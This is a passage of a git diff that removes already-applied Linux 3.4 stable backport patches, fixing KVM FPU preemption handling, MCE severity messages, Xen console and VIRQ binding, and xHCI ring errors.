Gopalakrishnan <Aravind.Gopalakrishnan@amd.com> -Date: Thu, 9 Apr 2015 10:51:48 +0200 -Subject: x86/iommu: Fix header comments regarding standard and _FINISH macros - -commit b44915927ca88084a7292e4ddd4cf91036f365e1 upstream. - -The comment line regarding IOMMU_INIT and IOMMU_INIT_FINISH -macros is incorrect: - - "The standard vs the _FINISH differs in that the _FINISH variant - will continue detecting other IOMMUs in the call list..." - -It should be "..the *standard* variant will continue -detecting..." - -Fix that. Also, make it readable while at it. - -Signed-off-by: Aravind Gopalakrishnan <Aravind.Gopalakrishnan@amd.com> -Signed-off-by: Borislav Petkov <bp@suse.de> -Cc: H. Peter Anvin <hpa@zytor.com> -Cc: Thomas Gleixner <tglx@linutronix.de> -Cc: konrad.wilk@oracle.com -Fixes: 6e9636693373 ("x86, iommu: Update header comments with appropriate naming") -Link: http://lkml.kernel.org/r/1428508017-5316-1-git-send-email-Aravind.Gopalakrishnan@amd.com -Signed-off-by: Ingo Molnar <mingo@kernel.org> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - arch/x86/include/asm/iommu_table.h | 11 ++++++----- - 1 file changed, 6 insertions(+), 5 deletions(-) - ---- a/arch/x86/include/asm/iommu_table.h -+++ b/arch/x86/include/asm/iommu_table.h -@@ -79,11 +79,12 @@ struct iommu_table_entry { - * d). Similar to the 'init', except that this gets called from pci_iommu_init - * where we do have a memory allocator. - * -- * The standard vs the _FINISH differs in that the _FINISH variant will -- * continue detecting other IOMMUs in the call list after the -- * the detection routine returns a positive number. The _FINISH will -- * stop the execution chain. Both will still call the 'init' and -- * 'late_init' functions if they are set. -+ * The standard IOMMU_INIT differs from the IOMMU_INIT_FINISH variant -+ * in that the former will continue detecting other IOMMUs in the call -+ * list after the detection routine returns a positive number, while the -+ * latter will stop the execution chain upon first successful detection. -+ * Both variants will still call the 'init' and 'late_init' functions if -+ * they are set. - */ - #define IOMMU_INIT_FINISH(_detect, _depend, _init, _late_init) \ - __IOMMU_INIT(_detect, _depend, _init, _late_init, 1) diff --git a/patches/x86-kvm-fix-kvm-s-usage-of-kernel_fpu_begin-end.patch b/patches/x86-kvm-fix-kvm-s-usage-of-kernel_fpu_begin-end.patch deleted file mode 100644 index faf8b88..0000000 --- a/patches/x86-kvm-fix-kvm-s-usage-of-kernel_fpu_begin-end.patch +++ /dev/null @@ -1,164 +0,0 @@ -From b1a74bf8212367be2b1d6685c11a84e056eaaaf1 Mon Sep 17 00:00:00 2001 -From: Suresh Siddha <suresh.b.siddha@intel.com> -Date: Thu, 20 Sep 2012 11:01:49 -0700 -Subject: x86, kvm: fix kvm's usage of kernel_fpu_begin/end() - -commit b1a74bf8212367be2b1d6685c11a84e056eaaaf1 upstream. - -Preemption is disabled between kernel_fpu_begin/end() and as such -it is not a good idea to use these routines in kvm_load/put_guest_fpu() -which can be very far apart. - -kvm_load/put_guest_fpu() routines are already called with -preemption disabled and KVM already uses the preempt notifier to save -the guest fpu state using kvm_put_guest_fpu(). - -So introduce __kernel_fpu_begin/end() routines which don't touch -preemption and use them instead of kernel_fpu_begin/end() -for KVM's use model of saving/restoring guest FPU state. - -Also with this change (and with eagerFPU model), fix the host cr0.TS vm-exit -state in the case of VMX. For eagerFPU case, host cr0.TS is always clear. -So no need to worry about it. For the traditional lazyFPU restore case, -change the cr0.TS bit for the host state during vm-exit to be always clear -and cr0.TS bit is set in the __vmx_load_host_state() when the FPU -(guest FPU or the host task's FPU) state is not active. This ensures -that the host/guest FPU state is properly saved, restored -during context-switch and with interrupts (using irq_fpu_usable()) not -stomping on the active FPU state. - -Signed-off-by: Suresh Siddha <suresh.b.siddha@intel.com> -Link: http://lkml.kernel.org/r/1348164109.26695.338.camel@sbsiddha-desk.sc.intel.com -Cc: Avi Kivity <avi@redhat.com> -Signed-off-by: H. Peter Anvin <hpa@linux.intel.com> -Signed-off-by: Zefan Li <lizefan@huawei.com> -[xr: Backported to 3.4: Adjust context] -Signed-off-by: Rui Xiang <rui.xiang@huawei.com> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - arch/x86/include/asm/i387.h | 28 ++++++++++++++++++++++++++-- - arch/x86/kernel/i387.c | 13 +++++-------- - arch/x86/kvm/vmx.c | 10 +++++++--- - arch/x86/kvm/x86.c | 4 ++-- - 4 files changed, 40 insertions(+), 15 deletions(-) - ---- a/arch/x86/include/asm/i387.h -+++ b/arch/x86/include/asm/i387.h -@@ -23,8 +23,32 @@ extern int dump_fpu(struct pt_regs *, st - extern void math_state_restore(void); - - extern bool irq_fpu_usable(void); --extern void kernel_fpu_begin(void); --extern void kernel_fpu_end(void); -+ -+/* -+ * Careful: __kernel_fpu_begin/end() must be called with preempt disabled -+ * and they don't touch the preempt state on their own. -+ * If you enable preemption after __kernel_fpu_begin(), preempt notifier -+ * should call the __kernel_fpu_end() to prevent the kernel/user FPU -+ * state from getting corrupted. KVM for example uses this model. -+ * -+ * All other cases use kernel_fpu_begin/end() which disable preemption -+ * during kernel FPU usage. -+ */ -+extern void __kernel_fpu_begin(void); -+extern void __kernel_fpu_end(void); -+ -+static inline void kernel_fpu_begin(void) -+{ -+ WARN_ON_ONCE(!irq_fpu_usable()); -+ preempt_disable(); -+ __kernel_fpu_begin(); -+} -+ -+static inline void kernel_fpu_end(void) -+{ -+ __kernel_fpu_end(); -+ preempt_enable(); -+} - - /* - * Some instructions like VIA's padlock instructions generate a spurious ---- a/arch/x86/kernel/i387.c -+++ b/arch/x86/kernel/i387.c -@@ -77,29 +77,26 @@ bool irq_fpu_usable(void) - } - EXPORT_SYMBOL(irq_fpu_usable); - --void kernel_fpu_begin(void) -+void __kernel_fpu_begin(void) - { - struct task_struct *me = current; - -- WARN_ON_ONCE(!irq_fpu_usable()); -- preempt_disable(); - if (__thread_has_fpu(me)) { - __save_init_fpu(me); - __thread_clear_has_fpu(me); -- /* We do 'stts()' in kernel_fpu_end() */ -+ /* We do 'stts()' in __kernel_fpu_end() */ - } else { - percpu_write(fpu_owner_task, NULL); - clts(); - } - } --EXPORT_SYMBOL(kernel_fpu_begin); -+EXPORT_SYMBOL(__kernel_fpu_begin); - --void kernel_fpu_end(void) -+void __kernel_fpu_end(void) - { - stts(); -- preempt_enable(); - } --EXPORT_SYMBOL(kernel_fpu_end); -+EXPORT_SYMBOL(__kernel_fpu_end); - - void unlazy_fpu(struct task_struct *tsk) - { ---- a/arch/x86/kvm/vmx.c -+++ b/arch/x86/kvm/vmx.c -@@ -1455,8 +1455,12 @@ static void __vmx_load_host_state(struct - #ifdef CONFIG_X86_64 - wrmsrl(MSR_KERNEL_GS_BASE, vmx->msr_host_kernel_gs_base); - #endif -- if (user_has_fpu()) -- clts(); -+ /* -+ * If the FPU is not active (through the host task or -+ * the guest vcpu), then restore the cr0.TS bit. -+ */ -+ if (!user_has_fpu() && !vmx->vcpu.guest_fpu_loaded) -+ stts(); - load_gdt(&__get_cpu_var(host_gdt)); - } - -@@ -3633,7 +3637,7 @@ static void vmx_set_constant_host_state( - struct desc_ptr dt; - unsigned long cr4; - -- vmcs_writel(HOST_CR0, read_cr0() | X86_CR0_TS); /* 22.2.3 */ -+ vmcs_writel(HOST_CR0, read_cr0() & ~X86_CR0_TS); /* 22.2.3 */ - vmcs_writel(HOST_CR3, read_cr3()); /* 22.2.3 FIXME: shadow tables */ - - /* Save the most likely value for this task's CR4 in the VMCS. */ ---- a/arch/x86/kvm/x86.c -+++ b/arch/x86/kvm/x86.c -@@ -5907,7 +5907,7 @@ void kvm_load_guest_fpu(struct kvm_vcpu - */ - kvm_put_guest_xcr0(vcpu); - vcpu->guest_fpu_loaded = 1; -- kernel_fpu_begin(); -+ __kernel_fpu_begin(); - fpu_restore_checking(&vcpu->arch.guest_fpu); - trace_kvm_fpu(1); - } -@@ -5921,7 +5921,7 @@ void kvm_put_guest_fpu(struct kvm_vcpu * - - vcpu->guest_fpu_loaded = 0; - fpu_save_init(&vcpu->arch.guest_fpu); -- kernel_fpu_end(); -+ __kernel_fpu_end(); - ++vcpu->stat.fpu_reload; - kvm_make_request(KVM_REQ_DEACTIVATE_FPU, vcpu); - trace_kvm_fpu(0); diff --git a/patches/x86-kvm-use-kernel_fpu_begin-end-in-kvm_load-put_guest_fpu.patch b/patches/x86-kvm-use-kernel_fpu_begin-end-in-kvm_load-put_guest_fpu.patch deleted file mode 100644 index a181949..0000000 --- a/patches/x86-kvm-use-kernel_fpu_begin-end-in-kvm_load-put_guest_fpu.patch +++ /dev/null @@ -1,44 +0,0 @@ -From 9c1c3fac53378c9782c18f80107965578d7b7167 Mon Sep 17 00:00:00 2001 -From: Suresh Siddha <suresh.b.siddha@intel.com> -Date: Fri, 24 Aug 2012 14:12:59 -0700 -Subject: x86, kvm: use kernel_fpu_begin/end() in kvm_load/put_guest_fpu() - -commit 9c1c3fac53378c9782c18f80107965578d7b7167 upstream. - -kvm's guest fpu save/restore should be wrapped around -kernel_fpu_begin/end(). This will avoid for example taking a DNA -in kvm_load_guest_fpu() when it tries to load the fpu immediately -after doing unlazy_fpu() on the host side. - -More importantly this will prevent the host process fpu from being -corrupted. - -Signed-off-by: Suresh Siddha <suresh.b.siddha@intel.com> -Link: http://lkml.kernel.org/r/1345842782-24175-4-git-send-email-suresh.b.siddha@intel.com -Cc: Avi Kivity <avi@redhat.com> -Signed-off-by: H. Peter Anvin <hpa@linux.intel.com> -Cc: Rui Xiang <rui.xiang@huawei.com> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - arch/x86/kvm/x86.c | 3 ++- - 1 file changed, 2 insertions(+), 1 deletion(-) - ---- a/arch/x86/kvm/x86.c -+++ b/arch/x86/kvm/x86.c -@@ -5907,7 +5907,7 @@ void kvm_load_guest_fpu(struct kvm_vcpu - */ - kvm_put_guest_xcr0(vcpu); - vcpu->guest_fpu_loaded = 1; -- unlazy_fpu(current); -+ kernel_fpu_begin(); - fpu_restore_checking(&vcpu->arch.guest_fpu); - trace_kvm_fpu(1); - } -@@ -5921,6 +5921,7 @@ void kvm_put_guest_fpu(struct kvm_vcpu * - - vcpu->guest_fpu_loaded = 0; - fpu_save_init(&vcpu->arch.guest_fpu); -+ kernel_fpu_end(); - ++vcpu->stat.fpu_reload; - kvm_make_request(KVM_REQ_DEACTIVATE_FPU, vcpu); - trace_kvm_fpu(0); diff --git a/patches/x86-mce-fix-mce-severity-messages.patch b/patches/x86-mce-fix-mce-severity-messages.patch deleted file mode 100644 index c362fe3..0000000 --- a/patches/x86-mce-fix-mce-severity-messages.patch +++ /dev/null @@ -1,64 +0,0 @@ -From 17fea54bf0ab34fa09a06bbde2f58ed7bbdf9299 Mon Sep 17 00:00:00 2001 -From: Borislav Petkov <bp@suse.de> -Date: Mon, 18 May 2015 10:07:17 +0200 -Subject: x86/mce: Fix MCE severity messages - -commit 17fea54bf0ab34fa09a06bbde2f58ed7bbdf9299 upstream. - -Derek noticed that a critical MCE gets reported with the wrong -error type description: - - [Hardware Error]: CPU 34: Machine Check Exception: 5 Bank 9: f200003f000100b0 - [Hardware Error]: RIP !INEXACT! 10:<ffffffff812e14c1> {intel_idle+0xb1/0x170} - [Hardware Error]: TSC 49587b8e321cb - [Hardware Error]: PROCESSOR 0:306e4 TIME 1431561296 SOCKET 1 APIC 29 - [Hardware Error]: Some CPUs didn't answer in synchronization - [Hardware Error]: Machine check: Invalid - ^^^^^^^ - -The last line with 'Invalid' should have printed the high level -MCE error type description we get from mce_severity, i.e. -something like: - - [Hardware Error]: Machine check: Action required: data load error in a user process - -this happens due to the fact that mce_no_way_out() iterates over -all MCA banks and possibly overwrites the @msg argument which is -used in the panic printing later. - -Change behavior to take the message of only and the (last) -critical MCE it detects. - -Reported-by: Derek <denc716@gmail.com> -Signed-off-by: Borislav Petkov <bp@suse.de> -Cc: H. Peter Anvin <hpa@zytor.com> -Cc: Linus Torvalds <torvalds@linux-foundation.org> -Cc: Peter Zijlstra <peterz@infradead.org> -Cc: Thomas Gleixner <tglx@linutronix.de> -Cc: Tony Luck <tony.luck@intel.com> -Link: http://lkml.kernel.org/r/1431936437-25286-3-git-send-email-bp@alien8.de -Signed-off-by: Ingo Molnar <mingo@kernel.org> -[lizf: Backported to 3.4: adjust context] -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - arch/x86/kernel/cpu/mcheck/mce.c | 5 ++++- - 1 file changed, 4 insertions(+), 1 deletion(-) - ---- a/arch/x86/kernel/cpu/mcheck/mce.c -+++ b/arch/x86/kernel/cpu/mcheck/mce.c -@@ -652,11 +652,14 @@ EXPORT_SYMBOL_GPL(machine_check_poll); - static int mce_no_way_out(struct mce *m, char **msg) - { - int i; -+ char *tmp; - - for (i = 0; i < banks; i++) { - m->status = mce_rdmsrl(MSR_IA32_MCx_STATUS(i)); -- if (mce_severity(m, tolerant, msg) >= MCE_PANIC_SEVERITY) -+ if (mce_severity(m, tolerant, &tmp) >= MCE_PANIC_SEVERITY) { -+ *msg = tmp; - return 1; -+ } - } - return 0; - } diff --git a/patches/xen-console-update-console-event-channel-on-resume.patch b/patches/xen-console-update-console-event-channel-on-resume.patch deleted file mode 100644 index 72481d8..0000000 --- a/patches/xen-console-update-console-event-channel-on-resume.patch +++ /dev/null @@ -1,48 +0,0 @@ -From b9d934f27c91b878c4b2e64299d6e419a4022f8d Mon Sep 17 00:00:00 2001 -From: Boris Ostrovsky <boris.ostrovsky@oracle.com> -Date: Wed, 29 Apr 2015 17:10:14 -0400 -Subject: xen/console: Update console event channel on resume - -commit b9d934f27c91b878c4b2e64299d6e419a4022f8d upstream. - -After a resume the hypervisor/tools may change console event -channel number. We should re-query it. - -Signed-off-by: Boris Ostrovsky <boris.ostrovsky@oracle.com> -Signed-off-by: David Vrabel <david.vrabel@citrix.com> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - drivers/tty/hvc/hvc_xen.c | 18 +++++++++++++++++- - 1 file changed, 17 insertions(+), 1 deletion(-) - ---- a/drivers/tty/hvc/hvc_xen.c -+++ b/drivers/tty/hvc/hvc_xen.c -@@ -300,11 +300,27 @@ static int xen_initial_domain_console_in - return 0; - } - -+static void xen_console_update_evtchn(struct xencons_info *info) -+{ -+ if (xen_hvm_domain()) { -+ uint64_t v; -+ int err; -+ -+ err = hvm_get_parameter(HVM_PARAM_CONSOLE_EVTCHN, &v); -+ if (!err && v) -+ info->evtchn = v; -+ } else -+ info->evtchn = xen_start_info->console.domU.evtchn; -+} -+ - void xen_console_resume(void) - { - struct xencons_info *info = vtermno_to_xencons(HVC_COOKIE); -- if (info != NULL && info->irq) -+ if (info != NULL && info->irq) { -+ if (!xen_initial_domain()) -+ xen_console_update_evtchn(info); - rebind_evtchn_irq(info->evtchn, info->irq); -+ } - } - - static void xencons_disconnect_backend(struct xencons_info *info) diff --git a/patches/xen-events-don-t-bind-non-percpu-virqs-with-percpu-chip.patch b/patches/xen-events-don-t-bind-non-percpu-virqs-with-percpu-chip.patch deleted file mode 100644 index 583f540..0000000 --- a/patches/xen-events-don-t-bind-non-percpu-virqs-with-percpu-chip.patch +++ /dev/null @@ -1,90 +0,0 @@ -From 77bb3dfdc0d554befad58fdefbc41be5bc3ed38a Mon Sep 17 00:00:00 2001 -From: David Vrabel <david.vrabel@citrix.com> -Date: Tue, 19 May 2015 18:40:49 +0100 -Subject: xen/events: don't bind non-percpu VIRQs with percpu chip - -commit 77bb3dfdc0d554befad58fdefbc41be5bc3ed38a upstream. - -A non-percpu VIRQ (e.g., VIRQ_CONSOLE) may be freed on a different -VCPU than it is bound to. This can result in a race between -handle_percpu_irq() and removing the action in __free_irq() because -handle_percpu_irq() does not take desc->lock. The interrupt handler -sees a NULL action and oopses. - -Only use the percpu chip/handler for per-CPU VIRQs (like VIRQ_TIMER). - - # cat /proc/interrupts | grep virq - 40: 87246 0 xen-percpu-virq timer0 - 44: 0 0 xen-percpu-virq debug0 - 47: 0 20995 xen-percpu-virq timer1 - 51: 0 0 xen-percpu-virq debug1 - 69: 0 0 xen-dyn-virq xen-pcpu - 74: 0 0 xen-dyn-virq mce - 75: 29 0 xen-dyn-virq hvc_console - -Signed-off-by: David Vrabel <david.vrabel@citrix.com> -[lizf: Backported to 3.4: adjust filename] -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - drivers/tty/hvc/hvc_xen.c | 2 +- - drivers/xen/events.c | 12 ++++++++---- - include/xen/events.h | 2 +- - 3 files changed, 10 insertions(+), 6 deletions(-) - ---- a/drivers/tty/hvc/hvc_xen.c -+++ b/drivers/tty/hvc/hvc_xen.c -@@ -290,7 +290,7 @@ static int xen_initial_domain_console_in - return -ENOMEM; - } - -- info->irq = bind_virq_to_irq(VIRQ_CONSOLE, 0); -+ info->irq = bind_virq_to_irq(VIRQ_CONSOLE, 0, false); - info->vtermno = HVC_COOKIE; - - spin_lock(&xencons_lock); ---- a/drivers/xen/events.c -+++ b/drivers/xen/events.c -@@ -906,7 +906,7 @@ static int find_virq(unsigned int virq, - return rc; - } - --int bind_virq_to_irq(unsigned int virq, unsigned int cpu) -+int bind_virq_to_irq(unsigned int virq, unsigned int cpu, bool percpu) - { - struct evtchn_bind_virq bind_virq; - int evtchn, irq, ret; -@@ -920,8 +920,12 @@ int bind_virq_to_irq(unsigned int virq, - if (irq == -1) - goto out; - -- irq_set_chip_and_handler_name(irq, &xen_percpu_chip, -- handle_percpu_irq, "virq"); -+ if (percpu) -+ irq_set_chip_and_handler_name(irq, &xen_percpu_chip, -+ handle_percpu_irq, "virq"); -+ else -+ irq_set_chip_and_handler_name(irq, &xen_dynamic_chip, -+ handle_edge_irq, "virq"); - - bind_virq.virq = virq; - bind_virq.vcpu = cpu; -@@ -1042,7 +1046,7 @@ int bind_virq_to_irqhandler(unsigned int - { - int irq, retval; - -- irq = bind_virq_to_irq(virq, cpu); -+ irq = bind_virq_to_irq(virq, cpu, irqflags & IRQF_PERCPU); - if (irq < 0) - return irq; - retval = request_irq(irq, handler, irqflags, devname, dev_id); ---- a/include/xen/events.h -+++ b/include/xen/events.h -@@ -12,7 +12,7 @@ int bind_evtchn_to_irqhandler(unsigned i - irq_handler_t handler, - unsigned long irqflags, const char *devname, - void *dev_id); --int bind_virq_to_irq(unsigned int virq, unsigned int cpu); -+int bind_virq_to_irq(unsigned int virq, unsigned int cpu, bool percpu); - int bind_virq_to_irqhandler(unsigned int virq, unsigned int cpu, - irq_handler_t handler, - unsigned long irqflags, const char *devname, diff --git a/patches/xen-events-set-irq_info-evtchn-before-binding-the-channel-to-cpu-in-__startup_pirq.patch b/patches/xen-events-set-irq_info-evtchn-before-binding-the-channel-to-cpu-in-__startup_pirq.patch deleted file mode 100644 index fffac95..0000000 --- a/patches/xen-events-set-irq_info-evtchn-before-binding-the-channel-to-cpu-in-__startup_pirq.patch +++ /dev/null @@ -1,32 +0,0 @@ -From 16e6bd5970c88a2ac018b84a5f1dd5c2ff1fdf2c Mon Sep 17 00:00:00 2001 -From: Boris Ostrovsky <boris.ostrovsky@oracle.com> -Date: Wed, 29 Apr 2015 17:10:15 -0400 -Subject: xen/events: Set irq_info->evtchn before binding the channel to CPU in - __startup_pirq() - -commit 16e6bd5970c88a2ac018b84a5f1dd5c2ff1fdf2c upstream. - -.. because bind_evtchn_to_cpu(evtchn, cpu) will map evtchn to -'info' and pass 'info' down to xen_evtchn_port_bind_to_cpu(). - -Signed-off-by: Boris Ostrovsky <boris.ostrovsky@oracle.com> -Tested-by: Annie Li <annie.li@oracle.com> -Signed-off-by: David Vrabel <david.vrabel@citrix.com> -[lizf: Backported to 3.4: adjust filename and context] -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - drivers/xen/events.c | 2 +- - 1 file changed, 1 insertion(+), 1 deletion(-) - ---- a/drivers/xen/events.c -+++ b/drivers/xen/events.c -@@ -563,8 +563,8 @@ static unsigned int __startup_pirq(unsig - pirq_query_unmask(irq); - - evtchn_to_irq[evtchn] = irq; -- bind_evtchn_to_cpu(evtchn, 0); - info->evtchn = evtchn; -+ bind_evtchn_to_cpu(evtchn, 0); - - out: - unmask_evtchn(evtchn); diff --git a/patches/xhci-fix-isoc-endpoint-dequeue-from-advancing-too-far-on-transaction-error.patch b/patches/xhci-fix-isoc-endpoint-dequeue-from-advancing-too-far-on-transaction-error.patch deleted file mode 100644 index 25353c9..0000000 --- a/patches/xhci-fix-isoc-endpoint-dequeue-from-advancing-too-far-on-transaction-error.patch +++ /dev/null @@ -1,43 +0,0 @@ -From d104d0152a97fade389f47635b73a9ccc7295d0b Mon Sep 17 00:00:00 2001 -From: Mathias Nyman <mathias.nyman@linux.intel.com> -Date: Thu, 30 Apr 2015 17:16:02 +0300 -Subject: xhci: fix isoc endpoint dequeue from advancing too far on transaction - error - -commit d104d0152a97fade389f47635b73a9ccc7295d0b upstream. - -Isoc TDs usually consist of one TRB, sometimes two. When all goes well we -receive only one success event for a TD, and move the dequeue pointer to -the next TD. - -This fails if the TD consists of two TRBs and we get a transfer error -on the first TRB, we will then see two events for that TD. - -Fix this by making sure the event we get is for the last TRB in that TD -before moving the dequeue pointer to the next TD. This will resolve some -of the uvc and dvb issues with the -"ERROR Transfer event TRB DMA ptr not part of current TD" error message - -Signed-off-by: Mathias Nyman <mathias.nyman@linux.intel.com> -Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - drivers/usb/host/xhci-ring.c | 5 +++++ - 1 file changed, 5 insertions(+) - ---- a/drivers/usb/host/xhci-ring.c -+++ b/drivers/usb/host/xhci-ring.c -@@ -2129,8 +2129,13 @@ static int process_isoc_td(struct xhci_h - break; - case COMP_DEV_ERR: - case COMP_STALL: -+ frame->status = -EPROTO; -+ skip_td = true; -+ break; - case COMP_TX_ERR: - frame->status = -EPROTO; -+ if (event_trb != td->last_trb) -+ return 0; - skip_td = true; - break; - case COMP_STOP: diff --git a/patches/xhci-gracefully-handle-xhci_irq-dead-device.patch b/patches/xhci-gracefully-handle-xhci_irq-dead-device.patch deleted file mode 100644 index 58f2bd4..0000000 --- a/patches/xhci-gracefully-handle-xhci_irq-dead-device.patch +++ /dev/null @@ -1,30 +0,0 @@ -From 948fa13504f80b9765d2b753691ab94c83a10341 Mon Sep 17 00:00:00 2001 -From: Joe Lawrence <joe.lawrence@stratus.com> -Date: Thu, 30 Apr 2015 17:16:04 +0300 -Subject: xhci: gracefully handle xhci_irq dead device - -commit 948fa13504f80b9765d2b753691ab94c83a10341 upstream. - -If the xHCI host controller has died (ie, device removed) or suffered -other serious fatal error (STS_FATAL), then xhci_irq should handle this -condition with IRQ_HANDLED instead of -ESHUTDOWN. - -Signed-off-by: Joe Lawrence <joe.lawrence@stratus.com> -Signed-off-by: Mathias Nyman <mathias.nyman@linux.intel.com> -Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - drivers/usb/host/xhci-ring.c | 2 +- - 1 file changed, 1 insertion(+), 1 deletion(-) - ---- a/drivers/usb/host/xhci-ring.c -+++ b/drivers/usb/host/xhci-ring.c -@@ -2743,7 +2743,7 @@ irqreturn_t xhci_irq(struct usb_hcd *hcd - xhci_halt(xhci); - hw_died: - spin_unlock(&xhci->lock); -- return -ESHUTDOWN; -+ return IRQ_HANDLED; - } - - /* diff --git a/patches/xhci-solve-full-event-ring-by-increasing-trbs_per_segment-to-256.patch b/patches/xhci-solve-full-event-ring-by-increasing-trbs_per_segment-to-256.patch deleted file mode 100644 index b677c70..0000000 --- a/patches/xhci-solve-full-event-ring-by-increasing-trbs_per_segment-to-256.patch +++ /dev/null @@ -1,49 +0,0 @@ -From 18cc2f4cbbaf825a4fedcf2d60fd388d291e0a38 Mon Sep 17 00:00:00 2001 -From: Mathias Nyman <mathias.nyman@linux.intel.com> -Date: Thu, 30 Apr 2015 17:16:03 +0300 -Subject: xhci: Solve full event ring by increasing TRBS_PER_SEGMENT to 256 - -commit 18cc2f4cbbaf825a4fedcf2d60fd388d291e0a38 upstream. - -Our event ring consists of only one segment, and we risk filling -the event ring in case we get isoc transfers with short intervals -such as webcams that fill a TD every microframe (125us) - -With 64 TRB segment size one usb camera could fill the event ring in 8ms. -A setup with several cameras and other devices can fill up the -event ring as it is shared between all devices. -This has occurred when uvcvideo queues 5 * 32TD URBs which then -get cancelled when the video mode changes. The cancelled URBs are returned -in the xhci interrupt context and blocks the interrupt handler from -handling the new events. - -A full event ring will block xhci from scheduling traffic and affect all -devices conneted to the xhci, will see errors such as Missed Service -Intervals for isoc devices, and and Split transaction errors for LS/FS -interrupt devices. - -Increasing the TRB_PER_SEGMENT will also increase the default endpoint ring -size, which is welcome as for most isoc transfer we had to dynamically -expand the endpoint ring anyway to be able to queue the 5 * 32TDs uvcvideo -queues. - -The default size used to be 64 TRBs per segment - -Signed-off-by: Mathias Nyman <mathias.nyman@linux.intel.com> -Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org> -Signed-off-by: Zefan Li <lizefan@huawei.com> ---- - drivers/usb/host/xhci.h | 2 +- - 1 file changed, 1 insertion(+), 1 deletion(-) - ---- a/drivers/usb/host/xhci.h -+++ b/drivers/usb/host/xhci.h -@@ -1233,7 +1233,7 @@ union xhci_trb { - * since the command ring is 64-byte aligned. - * It must also be greater than 16. - */ --#define TRBS_PER_SEGMENT 64 -+#define TRBS_PER_SEGMENT 256 - /* Allow two commands + a link TRB, along with any reserved command TRBs */ - #define MAX_RSVD_CMD_TRBS (TRBS_PER_SEGMENT - 3) - #define SEGMENT_SIZE (TRBS_PER_SEGMENT*16) |